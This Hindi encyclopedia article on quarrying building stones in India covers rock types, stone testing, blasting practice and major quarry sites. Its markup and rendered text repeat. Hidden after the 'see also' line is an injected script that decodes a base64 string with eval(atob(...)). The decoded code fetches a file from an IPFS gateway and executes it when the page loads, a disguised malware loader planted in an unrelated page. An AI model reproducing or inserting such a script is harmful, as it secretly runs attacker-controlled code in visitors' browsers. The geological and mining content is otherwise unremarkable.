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*उत्खनन को [[हिन्दी भाषा]] में 'खुदाई' और [[अंग्रेज़ी भाषा]] में 'Excavation' कहा जाता है।
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उत्खनन को [[हिन्दी भाषा]] में 'खुदाई' और [[अंग्रेज़ी भाषा]] में 'Excavation' कहा जाता है। आज-कल मुख्य रूप से ज़मीन खोदने की वह क्रिया है, जो गहराई में दबे हुए प्राचीन [[अवशेष|अवशेषों]], इमारती पत्थरों का पता लगाने के लिए की जाती है उसे '''उत्खनन''' कहा जाता है। वह स्थान, जहाँ से पत्थर निकाले जाते हैं, उसे पाषाण खान कहते हैं। पाषाण खान साधारणतया खुले स्थान में ही बनाई जाती है। इमारती पत्थरों में [[ग्रेनाइट]], बैसाल्ट, बालू के पत्थर, चूने के पत्थर, स्लेट और संगमरमर मुख्य हैं। ग्रैनाइट शब्द के अंतर्गत साधारणतया हल्के [[रंग]] की सभी आग्नेय शिलाएँ मानी जाती हैं। इन शिलाओं की रचना क्वार्ट्‌ज़, फ़ेल्स्पार, [[अभ्रक]] और हॉर्न ब्लेंड नामक [[खनिज|खनिजों]] से होती है। बैसाल्ट प्राय: काले रंग की शिलाएँ होती हैं। ये ट्रैप भी कहलाती हैं। इनमें फ़ेल्स्पार और पाइरॉक्सीन [[खनिज|खनिजों]] की प्रचुर मात्रा होती है। इन शिलाओं में कई प्रकार के भंग होते हैं, जिनसे इन्हें खोदने में सुविधा होती है। ये सामान्यत: कड़ी होती हैं।
*आज-कल मुख्य रूप से ज़मीन खोदने की वह क्रिया है, जो गहराई में दबे हुए प्राचीन [[अवशेष|अवशेषों]] का पता लगाने के लिए की जाती है उसे '''उत्खनन''' कहा जाता है।  
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==कायांतरित शिलाएँ==
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[[ग्रेनाइट]] शब्द के अंतर्गत ही 'नाइस' नामक कायांतरित शिलाओं को भी गिन लिया जाता है। [[अभ्रक]] आदि [[खनिज]] के समांतर तलों में व्यवस्थित होने से इनमें अनेक दुर्बल धरातल बन जाते हैं, जिनके कारण इन्हें खोदने में सरलता हो जाती है। भंगों की उपस्थिति में इसे और भी सरलता से खोदा जा सकता है। बालुकाश्म<ref>सैंडस्टोन</ref> एवं चूने का पत्थर जलज़ शिलाएँ हैं। अत: इनमें स्वाभाविक रूप से स्तर होते हैं। स्तरों की उपस्थिति के कारण इनका खोदना और इन्हें सिल्लियों का रूप देना अत्यंत सरल हो जाता है। कायांतरण के प्रभाव से चूने के पत्थर संगमरमर की शिलाओं में परिवर्तित हो जाते हैं, परंतु उनकी स्तर रचना नष्ट हो जाती है। संगमरमर की शिलाओं को तोड़ने के लिए भंगों का सहारा लेना पड़ता है। स्लेट भी कायांतरित शिला है। इसमें समांतर तड़कन होती है, अत: इसकी अत्यंत पतली परतें निकाली जा सकती हैं।
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====पत्थर परीक्षा====
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किसी भी पत्थर को खोद निकालने के पूर्व उसकी कठोरता, शक्ति, [[खनिज]] रचना, रध्रंता और चिकना करने पर प्राप्त और सुंदरता की परीक्षा की जाती है। खोदने के स्थान पर पत्थरों में अत्यधिक [[भंग |भंग]], दरार अथवा ऐसे अन्य दुर्बल धरातल नहीं होने चाहिए, जिनसे पुष्ट और बड़ी सल्लियाँ न मिल सकें, परंतु यदि ऐसे धरातल हों ही नहीं तो भी कठिनाई पड़ेगी। तब खोदे हुए पत्थरों को चारों ओर से घिसने का व्यय बढ़ा जाएगा। पत्थरों में अत्यधिक तथा अनियमित अपक्षय<ref>वायु और जल से कटान</ref> भी नहीं होना चाहिए। पत्थरों की कठोरता, दुर्बल धरातलों की उपस्थिति, सिल्लियों की माप और खदान की विस्तृति पर खोदने की क्रिया का निर्णय किया जाता है। छोटी पाषाण खान में प्राय: सभी कार्य हाथ से किया जाता है। विस्फोट क्रिया द्वारा चट्टानें तोड़ी जाती हैं। भंगों की अनुपस्थिति में निश्चित दूरी पर खड़े छिद्र बनाए जाते हैं और उनमें विस्फोट किया जाता है। जलज शिलाओं में स्तरों के समांतर क्षैतिज छिद्र बनाकर विस्फोट किया जाता है। साधारणत: खदान सीढ़ीनुमा बनाई जाती है। बहुत बड़ी पाषाण खानों में अधिकाधिक कार्य मशीनों से लिया जाता है।
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==इमारती पत्थरों के उत्खनन==
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[[भारत]] में इमारती पत्थरों के उत्खनन का कार्य बहुत प्राचीन काल से होता रहा है। [[दक्षिण भारत]] के [[ग्रेनाइट]] आदि पत्थरों से बने [[प्रागैतिहासिक काल]] के मंदिर अभी तक विद्यमान है। आंध्र तथा [[मैसूर]] राज्यों में इस प्रकार के पत्थरों की खदानें आज कल भी हैं। इनसे पत्थर निकाल कर विदेशों को भेजे जाते हैं। [[महाराष्ट्र]] और आस-पास के क्षेंत्रों में बैसाल्ट अथवा ट्रैप नामक लावा की शिलाओं का प्रयोग इमारती पत्थरों के रूप में किया जाता है। [[अजंता]] तथा [[एलोरा]] की गुफाएँ इन्हीं पत्थरों में खोदी गई हैं। विंध्य श्रेणी के बलुआ पत्थर दीर्घ काल से हमारी मूल्यवान्‌ निधि रहे हैं। [[गंगा]] और [[यमुना]] के किनारे खड़े विशाल घाट तथा मंदिर ही नहीं वरन्‌ अनेक प्राचीन अशोक स्तंभ भी इन्हीं से निर्मित हुए हैं। इन पत्थरों की मुख्य खदान कैमूर, [[चुनार]], [[भरतपुर]], [[फ़तेहपुर सीकरी]] आदि स्थानों में स्थित हैं।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 2|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=66-67 |url=}}</ref>
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समस्त [[उत्तर भारत]] में [[अशोक]] काल से लेकर आज तक इमारती पत्थरों में [[विंध्या श्रेणी|विंध्य श्रेणी]] के बलुआ पत्थरों का योगदान सबसे अधिक रहा है। गोंडवाना युग के बलुआ पत्थरों [[बिहार]], [[उड़ीसा]] एवं [[मध्य प्रदेश]] में तथा महासरट<ref>जुरैसिक</ref> युग के पत्थर [[कच्छ]] में निकाले जाते हैं। कायांतरित बलुआ पत्थरों की शिलाएँ [[अलवर]] तथा [[अजमेर]] में खोदी जाती हैं। [[सौराष्ट्र]] में कई स्थानों पर पाषाण खानें हैं, इनमें 'पोरबंदर पत्थर' की खान सबसे मुख्य है। [[बीजापुर]], [[वारंगल]], बूँदी, [[उदयपुर]], [[मध्य प्रदेश]], [[आंध्र प्रदेश]] तथा [[तमिलनाडु]] राज्यों में भी इस प्रकार के पत्थर निकाले जाते हैं। स्लेट की खदानें [[[[कुमायूँ|कुमायुँ]]]], [[गढ़वाल]], मंडी, चंबा, [[काँगड़ा]] आदि पर्वतीय प्रदेशों में बहुलता से मिलती हैं। आंध्र के कुर्नूल ज़िले में भी स्लेट शिलाएँ अत्यधिक मात्रा में विद्यमान हैं। रेवाड़ी तथा [[गुड़गाँव]] में भी स्लेट मिलती है। संगमरमर शिलाओं के लिए [[जोधपुर]] के निकट मकराना की पाषाण खानें दीर्घकाल से प्रसिद्ध हैं। [[आगरा]] का ताजमहल एवं [[कलकत्ता]] का 'विक्टोरिया मेमोरियल मकराना' संगमरमर का ही बना है। [[राजस्थान]] में अलवर, जयपुर, [[नाथद्वारा]], राजनगर, रामालो, आदि संगमरमर के अन्य प्रसिद्ध क्षेत्र हैं। [[दक्षिण भारत]] में चीतल दुर्ग, [[मैसूर]], सेलम और [[मदुरई ज़िला|मदुराई ज़िले]] तथा मध्य प्रदेश में [[जबलपुर]], [[छिंदवाड़ा]] और [[महाराष्ट्र]] में [[नागपुर]] तथा [[सिवनी ज़िला|सिवनी ज़िले]] सुंदर संगमरमर के लिए प्रसिद्ध हैं। असाधारण रंग के संगमरमर पत्थरों के लिए [[गुजरात]] में हरिकुवा, रेवाकाँठा और साँडारा तथा आंध्र में कुर्नूल, कृष्णा और गुंटूर ज़िले प्रसद्धि हैं।<ref>विमलकांत दावे, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 66</ref>
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07:41, 1 जुलाई 2018 के समय का अवतरण

उत्खनन को हिन्दी भाषा में 'खुदाई' और अंग्रेज़ी भाषा में 'Excavation' कहा जाता है। आज-कल मुख्य रूप से ज़मीन खोदने की वह क्रिया है, जो गहराई में दबे हुए प्राचीन अवशेषों, इमारती पत्थरों का पता लगाने के लिए की जाती है उसे उत्खनन कहा जाता है। वह स्थान, जहाँ से पत्थर निकाले जाते हैं, उसे पाषाण खान कहते हैं। पाषाण खान साधारणतया खुले स्थान में ही बनाई जाती है। इमारती पत्थरों में ग्रेनाइट, बैसाल्ट, बालू के पत्थर, चूने के पत्थर, स्लेट और संगमरमर मुख्य हैं। ग्रैनाइट शब्द के अंतर्गत साधारणतया हल्के रंग की सभी आग्नेय शिलाएँ मानी जाती हैं। इन शिलाओं की रचना क्वार्ट्‌ज़, फ़ेल्स्पार, अभ्रक और हॉर्न ब्लेंड नामक खनिजों से होती है। बैसाल्ट प्राय: काले रंग की शिलाएँ होती हैं। ये ट्रैप भी कहलाती हैं। इनमें फ़ेल्स्पार और पाइरॉक्सीन खनिजों की प्रचुर मात्रा होती है। इन शिलाओं में कई प्रकार के भंग होते हैं, जिनसे इन्हें खोदने में सुविधा होती है। ये सामान्यत: कड़ी होती हैं।

कायांतरित शिलाएँ

ग्रेनाइट शब्द के अंतर्गत ही 'नाइस' नामक कायांतरित शिलाओं को भी गिन लिया जाता है। अभ्रक आदि खनिज के समांतर तलों में व्यवस्थित होने से इनमें अनेक दुर्बल धरातल बन जाते हैं, जिनके कारण इन्हें खोदने में सरलता हो जाती है। भंगों की उपस्थिति में इसे और भी सरलता से खोदा जा सकता है। बालुकाश्म[1] एवं चूने का पत्थर जलज़ शिलाएँ हैं। अत: इनमें स्वाभाविक रूप से स्तर होते हैं। स्तरों की उपस्थिति के कारण इनका खोदना और इन्हें सिल्लियों का रूप देना अत्यंत सरल हो जाता है। कायांतरण के प्रभाव से चूने के पत्थर संगमरमर की शिलाओं में परिवर्तित हो जाते हैं, परंतु उनकी स्तर रचना नष्ट हो जाती है। संगमरमर की शिलाओं को तोड़ने के लिए भंगों का सहारा लेना पड़ता है। स्लेट भी कायांतरित शिला है। इसमें समांतर तड़कन होती है, अत: इसकी अत्यंत पतली परतें निकाली जा सकती हैं।

पत्थर परीक्षा

किसी भी पत्थर को खोद निकालने के पूर्व उसकी कठोरता, शक्ति, खनिज रचना, रध्रंता और चिकना करने पर प्राप्त और सुंदरता की परीक्षा की जाती है। खोदने के स्थान पर पत्थरों में अत्यधिक भंग, दरार अथवा ऐसे अन्य दुर्बल धरातल नहीं होने चाहिए, जिनसे पुष्ट और बड़ी सल्लियाँ न मिल सकें, परंतु यदि ऐसे धरातल हों ही नहीं तो भी कठिनाई पड़ेगी। तब खोदे हुए पत्थरों को चारों ओर से घिसने का व्यय बढ़ा जाएगा। पत्थरों में अत्यधिक तथा अनियमित अपक्षय[2] भी नहीं होना चाहिए। पत्थरों की कठोरता, दुर्बल धरातलों की उपस्थिति, सिल्लियों की माप और खदान की विस्तृति पर खोदने की क्रिया का निर्णय किया जाता है। छोटी पाषाण खान में प्राय: सभी कार्य हाथ से किया जाता है। विस्फोट क्रिया द्वारा चट्टानें तोड़ी जाती हैं। भंगों की अनुपस्थिति में निश्चित दूरी पर खड़े छिद्र बनाए जाते हैं और उनमें विस्फोट किया जाता है। जलज शिलाओं में स्तरों के समांतर क्षैतिज छिद्र बनाकर विस्फोट किया जाता है। साधारणत: खदान सीढ़ीनुमा बनाई जाती है। बहुत बड़ी पाषाण खानों में अधिकाधिक कार्य मशीनों से लिया जाता है।

इमारती पत्थरों के उत्खनन

भारत में इमारती पत्थरों के उत्खनन का कार्य बहुत प्राचीन काल से होता रहा है। दक्षिण भारत के ग्रेनाइट आदि पत्थरों से बने प्रागैतिहासिक काल के मंदिर अभी तक विद्यमान है। आंध्र तथा मैसूर राज्यों में इस प्रकार के पत्थरों की खदानें आज कल भी हैं। इनसे पत्थर निकाल कर विदेशों को भेजे जाते हैं। महाराष्ट्र और आस-पास के क्षेंत्रों में बैसाल्ट अथवा ट्रैप नामक लावा की शिलाओं का प्रयोग इमारती पत्थरों के रूप में किया जाता है। अजंता तथा एलोरा की गुफाएँ इन्हीं पत्थरों में खोदी गई हैं। विंध्य श्रेणी के बलुआ पत्थर दीर्घ काल से हमारी मूल्यवान्‌ निधि रहे हैं। गंगा और यमुना के किनारे खड़े विशाल घाट तथा मंदिर ही नहीं वरन्‌ अनेक प्राचीन अशोक स्तंभ भी इन्हीं से निर्मित हुए हैं। इन पत्थरों की मुख्य खदान कैमूर, चुनार, भरतपुर, फ़तेहपुर सीकरी आदि स्थानों में स्थित हैं।[3]

समस्त उत्तर भारत में अशोक काल से लेकर आज तक इमारती पत्थरों में विंध्य श्रेणी के बलुआ पत्थरों का योगदान सबसे अधिक रहा है। गोंडवाना युग के बलुआ पत्थरों बिहार, उड़ीसा एवं मध्य प्रदेश में तथा महासरट[4] युग के पत्थर कच्छ में निकाले जाते हैं। कायांतरित बलुआ पत्थरों की शिलाएँ अलवर तथा अजमेर में खोदी जाती हैं। सौराष्ट्र में कई स्थानों पर पाषाण खानें हैं, इनमें 'पोरबंदर पत्थर' की खान सबसे मुख्य है। बीजापुर, वारंगल, बूँदी, उदयपुर, मध्य प्रदेश, आंध्र प्रदेश तथा तमिलनाडु राज्यों में भी इस प्रकार के पत्थर निकाले जाते हैं। स्लेट की खदानें [[कुमायुँ]], गढ़वाल, मंडी, चंबा, काँगड़ा आदि पर्वतीय प्रदेशों में बहुलता से मिलती हैं। आंध्र के कुर्नूल ज़िले में भी स्लेट शिलाएँ अत्यधिक मात्रा में विद्यमान हैं। रेवाड़ी तथा गुड़गाँव में भी स्लेट मिलती है। संगमरमर शिलाओं के लिए जोधपुर के निकट मकराना की पाषाण खानें दीर्घकाल से प्रसिद्ध हैं। आगरा का ताजमहल एवं कलकत्ता का 'विक्टोरिया मेमोरियल मकराना' संगमरमर का ही बना है। राजस्थान में अलवर, जयपुर, नाथद्वारा, राजनगर, रामालो, आदि संगमरमर के अन्य प्रसिद्ध क्षेत्र हैं। दक्षिण भारत में चीतल दुर्ग, मैसूर, सेलम और मदुराई ज़िले तथा मध्य प्रदेश में जबलपुर, छिंदवाड़ा और महाराष्ट्र में नागपुर तथा सिवनी ज़िले सुंदर संगमरमर के लिए प्रसिद्ध हैं। असाधारण रंग के संगमरमर पत्थरों के लिए गुजरात में हरिकुवा, रेवाकाँठा और साँडारा तथा आंध्र में कुर्नूल, कृष्णा और गुंटूर ज़िले प्रसद्धि हैं।[5]


इन्हें भी देखें: राजघाट उत्खनन वाराणसी<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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टीका टिप्पणी और संदर्भ

  1. सैंडस्टोन
  2. वायु और जल से कटान
  3. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 66-67 |
  4. जुरैसिक
  5. विमलकांत दावे, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 66

बाहरी कड़ियाँ

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